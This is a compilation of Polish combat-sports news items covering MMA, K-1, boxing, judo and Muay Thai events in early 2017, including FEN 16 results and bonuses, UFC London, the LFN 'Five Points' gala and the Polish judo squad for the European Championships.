Po znakomitej gali FEN 16 karawana Fight Exclusive Night przenosi się ze stolicy Polski na północ – gala FEN 17 już 12 maja w Gdynia Arena! Michał Wlazło, Michał Oleksiejczuk i Albert Odzimkowski to tylko niektóre z gwiazd FEN, które tego dnia wystąpią przed trójmiejską publicznością. Bilety już wkrótce na Eventim.pl, KupBilet.pl oraz Ticketik.pl.
[kod]
Czołowy polski kickboxer Dawid Kasperski udał się do Holandii. Zawodnik Punchera Wrocław w Kraju Tulipanów spędzi dwa tygodnie. Mistrz Polski w K-1 będzie doskonalił się pod okiem znakomitego Nieky'ego Holzkena.
„Jak się uczyć, to tylko od najlepszych” – z pewnością taka dewiza przyświeca Dawidowi Kasperskiemu. Nie da się ukryć, że Polak ma ponadprzeciętne umiejętności, co najlepiej potwierdzają jego osiągnięcia.
Wizyta w Holandii
Nicolaas Holzken to zawodnik, który w K-1 stoczył ponad 100 pojedynków i blisko połowę z nich wygrał przez nokaut. W listopadzie 2006 roku zadebiutował na gali japońskiej organizacji K-1. Szybko zbierał doświadczenie, walczył z mocnymi rywalami i w końcu przyszedł jego czas. Największą sławę Holendrowi przyniosły występy w organizacji Glory. Do niedawna był posiadaczem pasa mistrzowskiego w wadze półśredniej. Dwukrotnie skutecznie bronił tytułu, jednak stracił go w grudniu ubiegłego roku. Na gali Glory 36 lepszy od Holzkena okazał się Cedric Doumbe.
Ale to nie wszystko. Od debiutu (2012 rok) do grudnia 2016 roku 33-letni fighter nie przegrał w Glory ani jednej walki. Po tytuł mistrzowski mógł sięgnąć już w marcu 2014 roku, ale z powodu kontuzji odniesionej w wypadku samochodowym nie mógł stanąć do pojedynku z Marcem de Bonte. Warto podkreślić, że Holzken ma na swoim koncie dwa triumfy w turniejach Glory. W 2013 okazał się najlepszy w rywalizacji w wadze półśredniej, sukces powtórzył dwa lata później.
Co ciekawe, 33-latek postanowił zasmakować rywalizacji na bokserskim ringu. Stoczył 11 walk i wszystkie wygrał, w tym osiem przed czasem. Kolejnym rywalem Holzkena ma być Cagri Ermis. Pojednek zaplanowano na 1 kwietnia w Sportschool Golden Glory w Helmond.
Tymczasem Holender „zaopiekuje się” Dawidem Kasperskim. Przez kilkanaście dni polski fighter będzie trenował pod okiem jednego z najlepszych kickboxerów na świecie. Z pewnością Kasperski doskonale wykorzysta ten czas, a i Holzken może coś podpatrzyć u reprezentanta Punchera Wrocław.
Mocny
Dawid Kasperski nie ma litości dla kolejnych rywali. W wadze średniej w K-1 prezentuje się coraz pewniej. Pierwszym znaczącym sukcesem Polaka było zwycięstwo w turnieju do 85kg na gali Superkombat w Rumunii, która odbyła się w 2014 roku. Po drodze Kasperski rozprawił się z faworytem gospodarzy Ciprianem Schiopu, a w decydującej walce pokonał Errola Koninga.
Kibice w Polsce mogli podziwiać zawodnika podczas gali organizacji Angels of Glory. W ubiegłym roku w Kielcach Kasperski pokonał Menno van Roosmalena. Reprezentujący barwy Punchera Wrocław zapisał również na swoim koncie mistrzostw Europy K-1, które zdobył w Mariborze. Kilka tygodni temu triumfował w krajowym czempionacie. W finale Kasperski pokonał Maksymiliana Bratkowicza.
Fot. Puncher Wrocław Facebook
KM
Dla swoich rodaków Roman Gonzalez jest wybitnym bokserem. Nie zmieniła tego porażka w starciu z Wisaksilem Wangekiem, w której reprezentant Nikaragui stracił pas mistrzowski WBC wagi junior koguciej.
Każda seria ma swój koniec. Potwierdziło się to w przypadku Romana Gonzaleza. Przed długi czas wydawało się, że 29-latek może być autorem kolejnych bokserskich rekordów, jednak na jego drodze stanął Taj Wisaksil Wangek.
Niespodziewana porażka i jej echa
Gonzalez szedł jak burza. Bokser z Nikaragui zdobywał pasy WBA w kategorii słomkowej i junior muszej, a także panował w muszej. We wrześniu 2016 roku pokonał Carlosa Cuadrasa, co dało mu tytuł WBC w kategorii junior koguciej. Wszyscy spodziewali się, że Gonzalez będzie trwał na tronie i przekroczy magiczną barierę 50 zwycięstw, nie notując przy tym żadnej porażki.
18 marca w Madison Square Garden w Nowym Jorku stało się coś, czego nikt się nie spodziewał. Bokser z Nikaragui spotkał się z Wisaksilem Wangekiem. Na 46 walk Taj zaledwie cztery stoczył poza ojczyzną, trzy w Japonii i jedną w Meksyku. Zatem rywalizacją z Gonzalezem wszedł do wielkiego świata boksu. Warto podkreślić, że już wcześniej na swoim koncie pas WBC. Co do samej walki, 30-latek szybko i efektownie przywitał się z publicznością. W końcówce pierwszej rundy posłał Gonzaleza na deski, jednak ten wstał. Podrażniony mistrz ruszył do przodu, jednak starcie było niezwykle zacięte. 29-latek był aktywny i zadawał dużo ciosów. Sędziowie wskazali jednak na Taja. Dwóch z nich punktowało 114:112, trzeci ocenił pojedynek remisowo – po 113.
Werdykt wzbudził spore wątpliwości. Gonzalez przez wielu obserwatorów uznawany jest za najlepszego pięściarza świata bez podziału na kategorie wagowe. W Nowym Jorku dał z siebie wszystko. Wyprowadził ponad 400 ciosów, a rywal nie przekroczył 300. Niektórzy podkreślają, że przejście do wyższej kategorii wagowej nie wyszło Gonzalezowi na dobre.
Pięściarz pożegnał się z tytułem, ale mógł liczyć na ciepłe przyjęcie w kraju. Na lotnisku witał go tłum, a następnie Gonzalez przejechał samochodem przez główne ulice stolicy i pozdrawiał zgromadzonych. – Cieszę się, że znowu jestem w swoim kraju – mówił bokser.
Rocky i Floyd niezagrożeni
Wydawało się, że Roman Gonzalez dołączy do Rocco Francisa Marchegiano i Floyda Mayweathera Jr., którzy na ringu prezentowali się 49 razy i wygrali wszystkie walki. W przypadku pięściarza z Nikaragui należy mówić o ogromnych możliwościach, talencie, charakterze, ale zwraca się uwagę na aspekt siły. Gonzalez przeskakiwał kolejne kategorie wagowe i musiał nabierać masy, zaś dla rywali było to naturalne środowisko. Były mistrz WBC ilością ciosów musiał nadrabiać jakość. Nikt mu nie odbierze tych wspaniałych zwycięstw, ale szansę na wejście do annałów historii boksu jako niepokonany stracił bezpowrotnie.
KM
Od poniedziałku – 20 marca – każdy fan sportów walki może sięgnąć po darmową wejściówkę na galę Ladies Fight Night „Five Points”, która już 8 kwietnia odbędzie się w Poznaniu. Będzie to piąta impreza żeńskiej organizacji, którą na trybunach będzie mogło obejrzeć prawie 1500 zaproszonych gości. Na gali zawalczą najzdolniejsze zawodniczki z Polski i zagranicy.
W klatkoringu LFN
Podczas poznańskiej gali LFN gospodarze organizacji planują 11 emocjonujących pojedynków w formule MMA i K-1. Z fighterkami z Francji, Czech, Finlandii, Węgier, Niemiec i Brazylii zmierzą się takie zawodniczki jak Katarzyna Lubońska, Judyta Rymarzak, Sylwia Juśkiewicz, Katarzyna Sadura, Małgorzata Dymus i Katarzyna Biegajło.
Na gali Ladies Fight Night „Five Points” zobaczymy również walki dwóch zawodniczek z klubu Kohorta Poznań. Natalia Leciejewska zmierzy się z Hanną Gujwan, zawodniczką LFN Team, która ma za sobą debiut na sylwestrowej gali japońskiej organizacji RIZIN i prawdopodobnie jeszcze w tym roku ponownie zawalczy w kraju kwitnącej wiśni. Walka odbędzie się w formule K-1 i z pewnością będzie to mocny pojedynek na ciosy. Lokalny klub wystawi jeszcze jedną reprezentantkę – Martę Gusztab – medalistkę Mistrzostw Polski Muay Thai, która świetnie zaprezentowała się w walce wieczoru podczas warszawskiej gali LFN we wrześniu 2016 roku. Jej przeciwniczkę poznamy wkrótce.
Katarzyna Lubońska z nową przeciwniczką
Pierwotnie Lubońska, która dla LFN zawalczy po raz pierwszy, miała zmierzyć się z Vuokko Katainen. Niestety zawodniczka z Finlandii na etapie przygotowań uległa poważnej kontuzji kolana i musiała przejść kolejną operację. Ostatecznie przeciwniczką Katarzyny Lubońskiej (4-2-0) będzie zawodniczka jednego z najmocniejszych teamów z Brazylii New Corpore Fight, Nubia Santos do Nascimento (2-2-1).
Rezerwacja wejściówek
Bezpłatne zaproszenia na galę Ladies Fight Night „Five Points” można zdobyć rejestrując się na wydarzenie na oficjalnej stronie organizacji. Szczegóły na www.lfn.com.pl. Dla tych fanów, którym nie uda się zdobyć zaproszeń na poznańską galę, włodarze LFN zaplanowali darmową transmisję całego wydarzenia na Facebooku organizacji oraz na stronie internetowej.
Akredytacje i kontakt dla mediów:
Karolina Kawska
tel. 600446943
[kod]
Zapraszamy do obejrzenia oficjalnego trailera przed Galą Ladies Fight Night – Five Points.
[kod]
Anna Borowska (57kg) na najwyższym stopniu podium zawodów African Open w Casablance. Ale to nie koniec dobrych informacji! Brązowe medale zawisły na szyjach Katarzyny Kłys (70kg) i Piotra Kuczery (90kg). Z kolei nasi juniorzy rywalizowali w Coimbrze. Zmagania zakończyli z dwoma brązowymi krążkami.
Kolejny medalowy weekend za naszymi judokami. To dobry prognostyk przed zbliżającymi się mistrzostwami Europy, które w dniach 20-23 kwietnia odbędą się w Warszawie.
Powtarzalna Kłys
Mistrzyni Europy w drużynie jest w gazie. W trzech ostatnich startach stawała na podium. Z tym, że pierwszy miał miejsce ponad pół roku temu w Zagrzebiu. Tegoroczne starty Kłys zainaugurowała w marcu w Zurychu, gdzie wygrała… dwie walki i stanęła na najwyższym stopniu podium. W minionym weekend 30-letnia judoczka rywalizowała w Casablance. Na początek szybko rozprawiła się z Hafsą Yatim, jednak euforia nie trwała długo. W drugiej walce Polka spotkała się z Lucie Perrot, która w światowym rankingu jest o ponad 100 pozycji niżej od brązowej medalistki mistrzostw Europy w Czelabińska. Francuzka triumfowała przez ippon. W starciu o brąz Kłys spotkała się z kolejną zawodniczką znad Sekwany. Melissa Heleine musiała uznać wyższość Polki.
Powody do radości ma Anna Borowska, która wygrała kolejne zawody w tym roku. Na początku marca okazała się najlepsza w Pradze. W Casablance również nie miała sobie równych. Na początku Polka musiał wspiąć się na wyżyny. Dwa waza-ari były kluczem do pokonania Ley Buet. Półfinał i finał Borowska rozstrzygnęła przed czasem. Tempa nie zwalnia również Piotr Kuczera (90kg). Po triumfach w Rzymie i Katowicach, przyszedł czas na trzecie miejsce w Casablance. Brązowy medalistka mistrzostw Europy z Kazania wygrał trzy pojedynki.
W klasyfikacji medalowej Polska zajęła 4. miejsce. Triumfowali Francuzi z 23 medalami na koncie.
Portugalska przygoda
W Coimbrze wystartowało blisko 400 młodych judoków, w tym pięciu naszych juniorów. Sebastian Marcinkiewicz (81kg) z przytupem rozpoczął rywalizację w Pucharze Europy. 19-letni judoka wygrał trzy walki, ale w półfinale powstrzymał go Tiago Pinho. Na pocieszenie polski zawodnik zdobył brązowy medal.
Na podium stanął również Iwo Baraniewski (100kg). 18-latek miał szczęście do zawodników gospodarzy. Na otwarcie pokonał Alexandre Teodosio, a w rywalizacji o trzecie miejsce był lepszy od Diogo Britesa. W półfinale na drodze Polaka stanął Mathias Madsen z Danii.
O krok od medalu była Barbara Kulik (63kg), która ostatecznie zajęła 5. pozycję. Siódmy był Maciej Krogulski (73kg). W Coimbrze startował również Szymon Jasiński (66kg).
KM
Daniel Omielańczuk poniósł czwartą porażkę podczas swojej przygody w UFC. Podczas gali w Londynie przegrał z Timothym Johnsonem. W walce wieczoru Jimi Manuwa odprawił Coreya Andersona.
Gala UFC Fight Night 107 przyciągnęła do londyńskiej O2 Arena ponad 15 tysięcy widzów. W karcie głównej nie brakowało efektownych rozstrzygnięć.
Nie pomścił Tybury
Po raz ósmy na gali UFC zaprezentował się Daniel Omielańczuk. Polski ciężki niejednokrotnie pokazał, że potrafi efektownie walczyć i wygrał trzy kolejne pojedynku, jednak w październiku jego zwycięski marsz powstrzymał Stefan Struve. W Londynie los skojarzył Omielańczuka z Timothym Johnsonem. Polak chciał wygrać i wrócić na zwycięską drogą, a zarazem pomścić Marcina Tyburę. W kwietniu ubiegłego roku popularny „Tybur” przegrał z Amerykaninem.
Omielańczuk dobrze rozpoczął starcie. Imponował aktywnością, kilka razy mocno trafił rywala, jednak ten spychał walkę pod siatkę. W drugiej rundzie Johnson ruszył do ataku. Polski ciężki dzielnie walczył, w klinczu nie brakowało łokci i kolan. W końcu Johnson sprowadził walkę do parteru. Ostatnia odsłona to przede wszystkim zmagania w klinczu. Amerykanin dążył do parteru i spychał Polaka do defensywny. Sędziowie byli podzieleni. Niejednogłośną decyzją (29-28, 27-30, 28-29) wygrał Johnson, dla którego był to jedenasty triumf w karierze.
Polak zanotował drugą porażkę z rzędu, więc musi się mieć na baczności. Dotychczas w UFC odniósł pięć zwycięstw, przegrał cztery pojedynki.
Nokauty ozdobą gali
W karcie wstępnej sześć z siedmiu pojedynków kończyło się decyzją sędziów. Jednak ten jeden był wyjątkowo widowiskowy. Marc Diakiese potrzebował zaledwie trzydziestu sekund, aby pokonał Teemu Packalena. 24-latek z Doncaster trafił prawym Fina, który padł jak rażony piorunem. Efektowne zwycięstwa i efektowny wygląd. Anglik miał na głowie czerwony pasek, pełen radości po zwycięstwie zaczął ekwilibrystyczny taniec. Diakiese wygrał dwunastą walkę w karierze.
Marlon Vera odniósł drugie zwycięstwo z rzędu. W trzeciej rundzie odprawił Brada Picketta, który pożegnał się z MMA. Efektowne zwycięstwo Gunnara Nelsona. Islandczyk trafiał Alana Joubana ciosami i kopnięciami, a w parterze zapiął gilotynę i zmusił rywala do poddania.
Jimi Manuwa zgłosił akces do walki o pas w wadze półciężkiej. 37-letni Amerykanin delikatnie stąpał, obserwował i w końcu posłał w stronę Coreya Andersona potężny lewy sierpowy. Rywal znalazł się na deskach. Walka wieczoru trwałą nieco ponad trzy minuty.
KM
Nie da się ukryć, że czas pędzi jak szalony. W zeszłym roku wielką radość sprawiła nam informacja o przyznaniu Polsce roli organizatora mistrzostw Europy w judo. Obecnie wchodzimy w fazę odliczania. Impreza odbędzie się w dniach 20-23 kwietnia.
Wraz z upływem czasu jest coraz mniej niewiadomych. Znamy już nazwiska zawodników zatwierdzonych przez zarząd Polskiego Związku Judo do udziału w mistrzostwa Europy.
Powalczą o medale
Czempionat Starego Kontynentu ponownie zawita do Polski. W 1994 roku judocy walczyli o medale w Gdańsku, a sześć lat później we Wrocławiu. Zdecydowanie lepiej biało-czerwoni wspominają start w stolicy Dolnego Śląska, gdzie wywalczyli sześć medali, w tym dwa złote. Z kolei w Gdańsku tylko Robert Krawczyk stanął na podium, wywalczył brąz.
Rok temu mistrzostwa Europy odbyły się w Kazaniu. Tam objawił się talent Piotra Kuczery (90kg), który wywalczył brąz indywidualnie i był podporą reprezentacji Polski. Nasza męska kadra stanęła na najniższym stopniu podium. Z kolei Polki triumfowały w rywalizacji drużynowej i panują w Europie. W Warszawie postarają się obronić tytuł. Atut własnego terenu może sprzyjać Polakom, a z drugiej strony może być przekleństwem. Głęboko wierzymy, że gorący doping poniesie biało-czerwonych, którzy będą odgrywali pierwszoplanową rolę podczas kwietniowej imprezy.
Kogo zobaczymy na tatami w stołecznej hali Torwar? Polski Związek Judo podał listę zawodniczek i zawodników, którzy wystartują w mistrzostwach. W reprezentacji kobiet znalazły się: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Anna Borowska i Julia Kowalczyk (57kg), Karolina Tałach i Agata Ozdoba (63kg), Katarzyna Kłys (70kg), Beata Pacut (78kg). Na liście rezerwowej są Anna Załęczna (+78kg) oraz Sandra Lickun (70kg). W męskiej kadrze znaleźli się: Aleksander Beta i Patryk Wawrzyczek (66kg), Damian Szwarnowiecki i Jakub Kubieniec (81kg), Piotr Kuczera i Patryk Ciechomski (90kg), Jakub Wójcik (100kg), Maciej Sarnacki i Kamil Grabowski (+100kg). Na liście rezerwowej są Michał Bartusik (66kg) oraz Tomasz Szczepaniak (90kg).
Warto nadmienić, że z powodu kontuzji z Warszawie nie wystartuje Arleta Podolak (57kg).
Gwiazdy w stolicy
Rywalizacja o medale wystartuje 20 kwietnia. – Najlepsi zawodnicy z całej Europy odwiedzą Warszawę. To tu odbędą się Mistrzostwa Europy seniorów w judo! Pierwsi zawodnicy już zostali zgłoszeni – zapowiadają organizatorzy.
Do Warszawy przyjadą m.in. drudzy zawodnicy światowych list Ivaylo Ivanov (81kg) czy Axel Clerget (90kg). Akces do rywalizacji zgłosił także mocny Cyriile Maret (100kg). Wśród pań główną rolę powinny odgrywać Francuzki. Na Torwarze zobaczymy m.in. mistrzynię olimpijską Emilie Andeol (+78kg) czy wicemistrzynię z Rio Clarisse Agbegnenou (78kg).
KM
Katarzyna Posiadała odniosła ogromny sukces. Polka zdobyła tytuł Mistrzyni Świata w Muay Thai.
Sięgnęła gwiazd, zrobiła coś wspaniałego, weszła na sam szczyt i teraz może świętować. Tytuł mistrzowski to spełnienie marzeń, ale także motywacja do dalszej pracy. Czasami łatwiej wejść na szczyt niż się na nim utrzymać. Mistrzyni świata WMF pokazuje, że jednak można.
Złoty blask
Katarzyna Posiadała dała się poznać jako zawodniczka, która w pełni profesjonalnie podchodzi do każdej walki. W lutym w Holandii odbył się obóz treningowy Ladies Fight Night, podczas którego zawodniczki instruował Gilbert Yvel. Z powodu choroby Kasia nie poleciała do Amsterdamu. Mogła żałować, ale życie toczy się dalej, a wyzwań nie brakuje. Kolejnego ważnego wydarzenia już nie przegapiła. Wsiadła w samolot i udała się do Tajlandii, czyli miejsca, gdzie muay thai jest religią i drogą doskonalenia się.
Zawodniczka Gladiatora Siedlce udała się do Bangkoku wraz z trenerem Andrzejem Wasilewskim. Posiadała startowała w kategorii 63,5kg w formule PRO AM. Wszystko układało się po myśli naszej zawodniczki, która dotarła do finału. Posiadała trafiła na niewygodną rywalkę z Ukrainy, która dwa wcześniejsze pojedynki wygrała przez nokaut. Obie fighterki dały z siebie wszystko, nie oszczędzały się, momentami brakowało im powietrza. W drugiej odsłonie Polka zaczęła dominować. Trafiła rywalkę kolanem i ta była liczona. Ostatecznie Posiadała mogła wznieść ręce w geście triumfu i cieszyć się z tytułu. Warto podkreślić, że po mistrzostwo wywalczyła już po raz trzeci.
Można powiedzieć, że zawodniczka znana z występów na galach organizacji Ladies Fight Night poszła za ciosem. W sierpniu ubiegłego roku sięgnęła po tytuł mistrzyni Europy. Zdominowała imprezę w Bukareszcie, a w finale uporała się z zawodniczką gospodarzy i rozstrzygnęła starcie przed czasem.
Kolejny sukces do kolekcji
Z każdą kolejną walką fighterka zbliża się do perfekcji. Wiadomo, że nadal stoi przed nią wiele wyzwań, ale już teraz może pochwalić się bogatą kolekcją tytułów. Katarzyna Posiadała ma na swoim koncie dwa tytuły mistrzyni Polski w oriental rules, a w 2016 roku triumfowała w K-1. Jak wspomnieliśmy, trzykrotnie okazała się najlepszą zawodniczką globu WMF.
Zawodniczka pochodząca z Siedlec dla Federacji Ladies Fight Night stoczyła już cztery pojedynki, wszystkie wygrane. Podczas grudniowej gali w Karpaczu wygrała na punkty z Lucią Mudrochovą.
KM
Największa organizacja MMA na świecie po raz kolejny w Polsce. 21 października w gdańskiej Ergo Arenie odbędzie się gala UFC.
Najlepsi zawodnicy, najlepsze walki, ogromne pieniądze i wspaniałe wrażenia – tak w skrócie wygląda ten świat. UFC to miejsce, w którym spełniają się marzenia. Jak to się mówi, taki trochę „amerykański sen”.
Polska gala
21 października szykuje się wielkie święto MMA. Już można zacierać ręce i szykować się na niezapomniane wrażenia. Nie da się ukryć, że 2017 rok może być niezwykle ciekawy, jeśli chodzi o MMA. 27 maja na Stadionie Narodowym odbędzie się gala KSW. Ponad 60 tys. ludzi zobaczy kilka fantastycznych walk. Można dyskutować, czy to będzie wstęp do gali UFC czy konkurencja? Nie da się ukryć, że KSW wyprowadza coraz mocniejsze ciosy, ale to temat na osobny tekst.
Kibice będą się zastanawiać się, kto zaprezentuje się na gdańskiej gali. Coraz więcej Polaków ma mocną pozycję w UFC. Marzeniem kibiców byłoby zobaczyć na własnej ziemi mistrzynię wagi słomkowej Joannę Jędrzejczyk. Udział coraz pewniej poczynającego sobie w wadze średniej Krzysztofa Jotki również byłby mocnym akcentem październikowej gali. A pozostają jeszcze mocni Karolina Kowalkiewicz i Daniel Omielańczuk. Dobre występy w UFC mają za sobą Bartosz Fabiński oraz Damian Stasiak, a po walce z Gustafssonem kontrakt z amerykańską organizacją przedłużył Jan Błachowicz. Nie da się ukryć, że wybór jest spory.
A UFC chce rozwijać się na rynku europejskich. Coraz więcej gal odbywa się poza Stanami Zjednoczonymi. Najbliższa już 18 marca w Londynie. W walce wieczoru Jimi Manuwa zmierzy się z Coreyem Andersonem. Co ciekawe, obaj mają na rozkładzie Jana Błachowicza. W Londynie swoją ósmą walkę w UFC stoczy Daniel Omielańczuk, który zmierzy się z Timothym Johnsonem.
Kto był w Krakowie?
Wróćmy pamięcią do pierwszej gali UFC w Polsce, która odbyła się 11 kwietnia 2015 roku w Kraków Arenie. W karcie walk znalazło się siedmioro naszych zawodników. Jednak tylko dla dwóch występ w Krakowie zakończył się szczęśliwie. Bartosz Fabiński zastąpił na gali UFC Fight Night 64 Krzysztofa Jotkę i udźwignął ciężar rywalizacji pokonując jednogłośną decyzją Garretha McLellana. W Krakowie triumfował również Paweł Pawlak. Zawodnik urodzony w Łodzi wygrał z Sheldonem Westcottem.
Porażki ponieśli: Marcin Bandel, Izabela Badurek, Damian Stasiak, Daniel Omielańczuk oraz Jan Błachowicz. W walce wieczoru doświadczony i utytułowany Mirko Filipović w trzeciej rundzie pokonał Gabriela Gonzagę.
KM
Zapraszamy do obejrzenia oficjalnego trailera gali Granda PRO 3, która odbędzie się już 18 marca 2017 r. na warszawskim Torwarze w siedzibie Legia Fight Club.
[kod]
Niezwykle zacięte walki w formule K-1, porażki faworytów w walkach MMA oraz mnóstwo fantastycznych akcji – sobotnia gala FEN 16 Warsaw Reloaded stała na bardzo wysokim poziomie, dostarczając kibicom ogromnych emocji.
Do dużej niespodzianki doszło w toczonej w świetnym tempie walce wieczoru niepokonanego od czterech lat Kamila Łebkowskiego z Gabrielem Silvą, który w zawodowym ringu nie doznał jeszcze porażki. Zaczęło się od szybkiej wymiany ciosów w stójce, ale Brazylijczyk sprowadził walkę do parteru i w nim mocnymi ciosami rozbijał Polaka, stopniowo budując sobie przewagę na punkty. W drugiej rundzie "Bomba" przejął inicjatywę – wściekle zaatakował rywala w stójce, szukając okazji do skończenia walki przed czasem. "Gabito" przetrwał ten szturm i znów przeniósł walkę do parteru, powtarzając scenariusz z pierwszej części walki. W trzeciej Łebkowski, świadom, że przegrywa na punkty, znów ruszył ostro na Silvę, ale ten nie dał się zaskoczyć. Ani obrotówka, ani latające kolano, ani nawet próba założenia przez Polaka kimury nie przyniosły efektów i kontrolujący ten pojedynek Brazylijczyk odniósł zasłużone zwycięstwo jednogłośną decyzją sędziów.
Wcześniej sporą sensacją była również porażka Bartłomieja Kopery z Francuzem Daguirem Imavovem. "Małpa" przed tą walką miał na koncie serię sześciu zwycięstw z rzędu i kolejne dałoby mu prawo walki o tytuł mistrza FEN w kategorii piórkowej, ale na szansę zdobycia pasa będzie musiał jeszcze poczekać. "Specnaz", jak nazywany jest fighter znad Sekwany, już w pierwszej rundzie zdominował łodzianina w parterze, silnymi uderzeniami rozbijając jego gardę. W drugiej Imavov ponownie obalił Koperę, zdobył dosiad i konsekwentnie obsypywał go ciosami, po których sędzia przerwał pojedynek.
Udany debiut w klatkoringu FEN zaliczył mistrz świata K-1 Global Radosław Paczuski, który po trzyrundowej ringowej wojnie pokonał mistrza Europy IKF George’a Daviesa. Młody Anglik, który w ostatniej chwili przyjął zastępstwo za kontuzjowanego Kameruńczyka Brice’a Kombou, nie przestraszył się znacznie bardziej utytułowanego przeciwnika i stawił twardy opór Paczuskiemu, ale doświadczenie Polaka dało mu pewne zwycięstwo. Davies imponował szczególnie odpornością na ciosy – dzielnie znosił potężne uderzenia i kopnięcia Paczuskiego, który bezskutecznie szukał szansy na znokautowanie rywala.
Pojedynek K-1 na europejskim poziomie zafundowali publiczności Artur Bizewski i Arkadiusz Wrzosek. W pierwszej rundzie świetnie dysponowany Wrzosek umiejętnie wykorzystywał zasięg swoich długich rąk i nóg, spychając zawodnika Agoga Gym Lębork do defensywy. W drugiej części Bizewski ruszył do ataku, ale wspierany żywiołowym dopingiem miejscowych kibiców fighter Copacabana Warszawa nie popełniał błędów i sam też mocno trafiał rywala. W trzeciej, równie efektownej i szybkiej rundzie Wrzosek chciał wykończyć rywala przed końcowym gongiem, ale Bizewski nie dał się ustrzelić i ostatecznie o zwycięstwie stołecznego wojownika zdecydowali sędziowie.
Niewiele czasu w klatkoringu spędził Marcin Szreder, który nie dał najmniejszych szans Iharowi Kamkou. Świetnie przygotowany kickbokser stołecznej Palestry już w pierwszej rundzie dwukrotnie powalił na deski wyraźnie wolniejszego Bułgara i niewiele później mógł już cieszyć się ze zwycięstwa, bo na ringu wylądował ręcznik rzucony przed narożnik Kamkou.
Kolejne zwycięstwa odnieśli faworyci starć MMA z pierwszej części karty walk – Kamil Gniadek, Paweł Pawlak, Arbi Shamaev i Sebastian Kotwica. „Undertaker” po profesorsku rozegrał swój pojedynek z Łukaszem Stankiem – przez wszystkie rundy utrzymywał walkę w parterze, w którym reprezentant MMAtadores Katowice nie był w stanie nic zrobić równie młodemu, ale znacznie bardziej doświadczonemu zawodnikowi Berserker’s Team Szczecin.
Paweł Pawlak zaskoczył Ireneusza Szydłowskiego, prezentując świetną dyspozycję nie tylko w stójce, która zawsze była jego atutem, ale także w parterze – chociaż weteran z Trójmiasta walczył z dużą determinacją, to łodzian z przeszłością w UFC w każdej płaszczyźnie systematycznie budował swoją przewagę, nie pozostawiając wątpliwości, który z nich jest tego wieczora lepszy.
Trzech rund na odniesienie pierwszego zwycięstwa w nowej kategorii wagowej potrzebował również Arbi Shamaev, który mierzył się z Shely Santaną. Niższy, ale bardzo silny Brazylijczyk napędził trochę stracha czeczeńskiemu wojownikowi, obalając Shamaeva w pierwszej rundzie i dążąc do gilotyny, ale przez resztę pojedynku to jednak zawodnik WCA Fight Team był górą, mądrze i cierpliwie wykorzystując swoje atuty i błędy przeciwnika.
Błyskawicznie zwycięstwo odniósł natomiast Sebastian Kotwica, który na galę FEN 16 przyjechał niemal prosto z kolejnego wyjazdu do słynnej Jackson Wink Academy w Stanach Zjednoczonych. Reprezentant Szkoły Walki Drwala po szybkim obaleniu przez Iana Stoyanova popisał się piękną zapaśniczą akcją, odwracając pozycję, a później ciosami wykończył zaskoczonego Bułgara. Było to już czwarte zwycięstwo Kotwicy przez nokaut w pierwszej rundzie.
Walka wieczoru:
MMA -66 kg: Gabriel Silva pokonuje Kamila Łebkowskiego przez jednogłośną decyzję sędziów
Karta główna:
K-1 -85 kg: Radosław Paczuski pokonał George'a Daviesa przez jednomyślną decyzję sędziów
MMA -68 kg: Daguir Imavov pokonał Bartłomieja Koperę przez TKO (uderzenia) w drugiej rundzie
K-1 -95 kg: Marcin Szreder pokonał Ihara Kamkou przez poddanie narożnika
K-1 +95 kg: Arkadiusz Wrzosek pokonał Artura Bizewskiego przez większościową decyzję sędziów
MMA -77 kg: Kamil Gniadek pokonał Łukasza Stanka przez jednogłośną decyzję sędziów
MMA -61 kg: Arbi Shamaev pokonał Shely'ego Santanę przez jednogłośną decyzję sędziów
Karta wstępna:
MMA -77 kg: Paweł Pawlak pokonał Ireneusza Szydłowskiego przez jednogłośną decyzję sędziów
MMA -66 kg: Sebastian Kotwica pokonał Ioana Stoyanova przez TKO (uderzenia) w 1. rundzie
MMA -77 kg: Karol Zyra pokonał Artura Kurka przez poddanie (duszenie zza pleców) w 2. rundzie
K-1 -61 kg: Vitaly Kazakou pokonał Piotr Bąkowskiego przez jednogłośną decyzję sędziów
fot. Paweł Najmowicz / FEN Federation
FEN
Zapraszamy na fotorelację z ceremonii ważenia przed galą FEN 16 Warsaw Reloaded.
fot. Paweł Najmowicz / FEN Federation
Zaparaszamy do obejrzenia fotorelacji z gali FEN 16 Warsaw Reloaded.
Zapraszamy do obejrzenia fotorelacji z Gali FEN 16 Warsaw Reloaded.
fot. Paweł Najmowicz / FEN Federation
Zapraszamy do obejrzenia fotorelacji z gali FEN 16 Warsaw Reloaded.
Organizacja Fight Exclusive Night przyznała bonusy za za poddanie wieczoru, nokaut wieczoru i walkę wieczoru sobotniej gali FEN 16 Warsaw Reloaded na stołecznym Torwarze. Nagrody finansowe otrzymało czterech zawodników.
Poddanie wieczoru: Karol Zyra
Sportem bazowym Karola Zyry, złotego medalisty mistrzostw Polski służb mundurowych i brązowego medalisty mistrzostw Wojska Polskiego w MMA, jest kick-boxing, więc jego atutem jest przede wszystkim walka w stójce. Ale podczas gali FEN 16 Warsaw Reloaded pokazał, że i w parterze radzi sobie świetnie. Już na początku pierwszej rundy walki z Adrianem Kurkiem był bliski uduszenia swojego bardziej doświadczonego rywala, ale ten zdołał się obronić. Fighter Championa Ostrołęka podobną akcję – tym razem skuteczną – wykonał w drugiej rundzie. Wykorzystał błąd Kurka, który padł na matę, zajął pozycję za jego plecami i poddał duszeniem, odnosząc czwarte zwycięstwo w czwartej zawodowej walce.
Nokaut wieczoru: Marcin Szreder
Marcin Szreder przed walką zapowiadał, że nie nastawia się na urwanie głowy przeciwnikowi i chce razem z nim dać dobrą, efektowną walkę, która spodoba się kibicom. Tego dnia Ihar Kamkou nie miał jednak szans z kipiącym energią zawodnikiem Palestry Warszawa. Już po minucie walki Polak potężnym prawym sierpowym trafił Białorusina, powalając go na deski. Sędzia jeszcze wznowił walkę, ale 20 sekund później Kamkou po serii wściekłych ciosów i kopnięć Szredera zaliczył kolejny knock-down i jego narożnik rzucił ręcznik.
Walka wieczoru: Kamil Łebkowski vs Gabriel Silva
